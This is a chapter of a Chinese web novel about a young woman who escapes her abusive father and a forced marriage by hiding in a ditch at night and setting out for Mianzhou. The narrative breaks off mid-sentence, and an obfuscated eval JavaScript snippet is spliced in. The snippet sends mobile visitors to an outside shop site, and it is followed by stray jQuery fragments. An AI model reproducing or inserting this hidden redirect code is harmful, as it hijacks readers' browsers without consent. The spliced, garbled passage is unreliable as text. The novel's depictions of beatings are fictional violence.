6. 第 6 章
    冯莲走后,秦见君只睡了一小会儿就被堂屋的动静吵醒了。

    “不嫁?有得她选?”秦留志暴躁的叫骂声穿过门板传进秦见君的耳朵里,她条件反射般地坐起身,心跳如雷,伸手拍了拍胸口这才算压下去一点。

    听到秦留志声音的瞬间,她想起铺天盖地落下来的棍棒,打得她连喘息的机会都没有......

    “哐当”一声,似是有什么东西被打翻了,秦见君侧耳去听,能听到密集的闷响,她对这声音熟悉极了,棍子抽打在皮肉上就是这个声音!

    秦见君翻身下床,忍着痛推开了堂屋的门。

    屋子里吃饭的桌子被掀翻了,杨甜趴在角落里,额头上不住淌血,眼睛和嘴巴都紧紧闭着,连秦见君开门进来都没发现。

    她抬头看过去,秦留志手上抄着板凳一下一下朝杨甜砸过去。

    “别打了!”

    板凳和木棍一样结实,秦见君扑过去,背上狠狠挨了一下,当即眼前就开始发黑,秦留志见她脸色不对,骂骂咧咧说着晦气,扔了板凳就出门了。

    半晌秦见君才缓过来,方才像是蒙上纱布的视线也渐渐清晰了,她忙低头去看杨甜。

    杨甜眼神呆滞地躺在冰冷的地上,呼吸微弱。

    “娘......”

    杨甜似是被惊醒了,她打了个寒颤,眼珠子机械地转过来看着秦见君。

    夜里秦留志发疯,说不想看见杨甜的脸,把她和秦建业一起丢出了屋子。

    秦家屋子是祖上留下来的,房间多且功能齐全,除了一间厨房和一间茅厕,堂屋两边各有一个屋子,小破屋住着秦见君,大屋子住着秦留志、杨甜和秦建业。

    现在两人被赶出来了,对视一眼,打算在堂屋凑合一下,没想到另一侧的屋子开了门。

    “娘,进来吧。”

    堂屋里头连张被单都没有,进去了也只是坐在板凳上捱着,秦见君把两人带到了自己屋子里。

    熄了蜡烛,三个人分一张破被单,秦见君牵着仅剩的被单一角,盖在肚脐上,缓缓呼出一口气。

    还是盖上肚脐最有安全感,果然世界上的最后一片树叶一定盖在华人的肚脐上......

    她睁眼看着破漏的屋顶,身上疼得睡不着,身边的杨甜也翻来覆去,她索性开了口:“娘,他经常打人吗?”

    杨甜翻动的身子停了一瞬,她转过来面对着秦见君,昏暗中只能看见她姣好的脸部轮廓。

    “以前......不打的......自从你大爹爹他们经商被排挤......就......”

    “大爹爹?”秦见君被这个称呼搞得有点头晕。

    “爹爹的爹爹。”秦建业在一旁小声说了一句。

    “经商被排挤是怎么回事?”秦见君又问。

    杨甜只当是她撞坏了脑子一时给忘了,好脾气地将从小讲到大的故事又讲了一遍。

    秦留志的爹,也就是秦见君的大爹爹,从前在县里卖杂货,家家户户缺什么他就卖什么,很机灵,赚了不小的一笔,后来想在县里开店,但被眼红的人盯上,联合周边商户都来排挤他。

    起初他还硬扛了一阵,那些商户见他如此坚决,便雇了打手将他的腿打折了,还扬言见他一次打他一次,他认得其中一个商户是县尉的侄子,他没有办法,只好带着家人躲进了井沟村......

    难怪当初自己说要去县里赚钱,秦留志的反应会那么大......

    知道了事情缘由后,秦见君愈发看不起秦留志了,大爹爹是因为在县里不是关系户,被打压才躲到了井沟村。

    这事都过去了这么多年,秦留志还被吓得只敢守住自己的二十亩田地,像个没种的孙子......

    杨甜看秦见君半天不说话,小声试探道:“你真要走?”

    秦见君有些困了,闭上眼道:“娘,留在这里说不定哪天就被秦留志打死了。”

    杨甜不说话了,好一会儿才又道:“你一个小娘子出门在外很危险的......”说完她抬眼去看,秦见君已经睡着了。

    第二日如期而至,秦见君一整天都没出门,专心待在屋子里休息,期间冯莲又来了一趟,带给秦见君两张路引和一沓油纸。

    “谢谢了。”秦见君低头将油纸展开,把三张路引分别用油纸包好,地图也包了一份。

    冯莲的眼眶有点红:“你今夜一走,我们还能再见面吗?”

    秦见君捏着手心的银子,她也有点不确定,从醒来到现在也只在井沟村和湖梁县里逛过,外面是什么样、路上会遇到什么,她一概不知......

    “要是我能平安到绵州,就一定有再见的机会。”

    冯莲的小圆脸皱了起来,眼泪啪嗒啪嗒就往下掉,她不懂,从小一起长大的姐妹怎么就要离开村子了?

    她原想着两人就算出嫁了,也可以偶尔走动,可秦见君现在是要离开井沟村、离开湖梁县,去绵州!

    绵州很远,她只听过,都不认识路,如果秦见君有什么三长两短,那她们就真见不着了......

    秦见君心情复杂地哄了冯莲许久,她才红着眼回了家。

    天色渐暗,秦见君听着隔壁堂屋吃饭的声音,秦留志骂完杨甜骂秦建业,顺带骂自己是个弱身子,要是成亲前好不起来,嫁去夫家会让人看笑话......

    天色黑透了,堂屋的声音消失了,再过一会儿秦留志被杨甜伺候着洗完脚就会去睡觉。

    秦见君盯着屋顶的破洞看天色,静静等待着。

    四周静得可怕,到时候了。

    秦见君轻轻推开房门,秦留志屋子里的蜡烛已经熄了,她蹑手蹑脚到了厨房,翻窗出去了。

    到了村口,她找了个避风的角落蹲着,也不知道杨甜和秦建业会不会来......

    待腿都蹲麻了,她估摸着二人不会来了,忍不住伸手摸了摸衣服里藏着的路引,特地让冯莲去县里拿来了,最后还是用不上吗......

    她起身缓了缓,等眼前的浓黑过去了才抬腿往外走,这身子虽然跟自己以前长得一样,但太瘦弱了,底子有点差,等有空了一定要多锻炼身体......

    正想着,身后忽然传来声响,她以为是杨甜和秦建业来了,忙回头去看,却见村里人零零散散地拿着蜡烛出了门。

    “阿君不见了?”

    “在家不见的?是不是被人骗出去了?”

    秦见君听到自己的名字,赶紧藏了起来,透过杂草缝隙,她看见杨甜和秦建业跟在秦留志后头,挨家挨户去敲村子里人家的门,说自己不见了,帮忙找找。

    仔细看过去,杨甜的脸上都是担忧,但秦留志明显是愤怒......

    杨甜告诉秦留志了。

    秦见君闭着眼都知道是什么原因,杨甜怕自己一个女子在外头活不下去,想着就算抓回去嫁人也好歹是有个归宿,不至于死在外边了都没人知道。

    秦见

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395790|141165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    君懊恼自己早该想到这点的,杨甜性子软,昨日又被秦留志狠狠打了一顿,刚升起的逃跑心思肯定也被打没了,只剩下对秦留志的恐惧和对自身力量的不自信。

    眼见着村民们要到村口了,秦见君转头就跑,冲着良田沟的方向头也不回地跑。

    “那个是阿君不?”

    “看着像!”

    “抓住她!”这一声是秦留志的。

    秦见君后背发麻,跑到良田沟边上,狠狠吸了一口气就钻入了水中。

    夜里的寒气冻得皮肉痛,水里更冷,丝丝缕缕的冷意直往骨头缝里碾,秦见君闭眼想象自己在盛夏的沙漠中......

    不冷......秦见君,别怕......

    她经常这样在心里安慰自己,遇到难事的时候就闭上眼告诉自己别怕,不停喊自己的名字,就好像身边一直有人在鼓励自己一样......

    憋了不知道多久,秦见君实在忍不住了,轻轻将脑袋探出了水面,那些被水阻隔的声音一下子就围了上来,她听到不远处有人在喊自己的名字,映入眼帘的是明明灭灭的烛火。

    一定不能被抓回去,自己受不住秦留志再打一顿了,到时候肯定会被逼着嫁给屠户的傻儿子......

    秦见君在冰冷的水里发抖,手脚僵硬,她只能站在水里缓缓。

    忽然听到身侧草丛有声响,她转头去看,树后站着秦建业!

    他正一脸惊慌地看着秦见君,眼下只要他喊一声,村民们会立刻聚集过来。

    两人对视,对视了多久?几秒?几分钟?秦见君无法判断。

    最后秦建业抿了抿唇,轻声说了一句:“我没看见你。”说完转头就走。

    秦见君愣了一瞬,立刻低声喊住了他:“秦建业!”

    秦建业转头,空中飞过来两片薄薄的油纸包,他下意识伸手接住。

    “藏好了。”秦见君嘱咐了一句,转身潜入水中,朝村民的反方向游走了。

    天亮的时候秦见君已经有些虚脱了,一整晚有大半的时间泡在冷水里,精神也高度紧绷,这会儿真的很想睡觉,但是不能睡,她要趁天亮赶路去绵州。

    对着地图看了半天,她勉强辨认出自己正在湖梁县边上,沿着官道一路走下去就能到绵州。

    所谓官道不过就是比普通野路要更平整宽阔些,偶尔能看见有百姓挑着扁担赶路,还有热心的老头停下来问秦见君这是怎么了。

    毕竟她衣裳半干,上面还黏着河里的淤泥和水草,形容和味道都有些一言难尽。

    秦见君暂时不想收拾自己,臭烘烘、脏兮兮难辨面容的流浪汉,也比干净白嫩的女子要安全。

    她低着头,散乱的头发遮住了脸,还刻意压低声音,让声音显得更粗厚些:“我没事,先前掉河里了。”

    老头上下打量她,担心道:“你快回家去吧。”

    “知道......”秦见君话还没说完,身旁驶过去一辆板车,车上坐着三五个衣着朴素的清瘦男子,她话锋一转,问那老头:“请问这些是什么人?”她这一路上已经看见好拨类似的人了。

    “这些啊,去虔渊州的。”

    “去虔渊州做什么?”

    “赶春闱啊。”

    秦见君眼睛亮了,她依稀记得,有些朝代在这些大考期间,是会派人看管官道的,主要是怕赶考的学生还没到京城就嘎了,这样一来官道的安全性大大提升,她不用提心吊胆怕遇到土匪了!